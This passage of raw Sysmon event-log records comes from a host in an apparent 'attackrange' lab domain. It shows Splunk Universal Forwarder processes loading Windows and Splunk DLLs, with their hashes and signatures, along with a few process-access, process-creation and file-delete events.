Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000052630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\fltLib.dll10.0.14393.0 (rs1_release.160715-1616)Filter LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationfilterLib.dllMD5=051ABD8360BDA63A1BC77C662FBF0A25,SHA256=C914E2DBAEC2C9A11923A984B30A979637D3A27B3C29E93F4C90FB1D9FBC518F,IMPHASH=74D3C2DA8B6F9861866B866AE40683D3trueMicrosoft WindowsValid 734700x800000000000000052624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000052623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000052621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000052619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exeMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8trueSplunk, Inc.Valid 10341000x800000000000000052617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.609{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.610{7BD73061-733E-613B-720B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AA4766A227902AC684C0A1F126927E6B,SHA256=CE523CCD528F3C0817BAE245496245EB0FCA44D5AA9FE51622231E1FEC2744B4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DFE6791E75CCE168295DD64F08724EF8,SHA256=8328736136D227BA4176C89B5296828C6BCF193C10CAAF82E8CBA2E1AE5F9F02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.172{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft 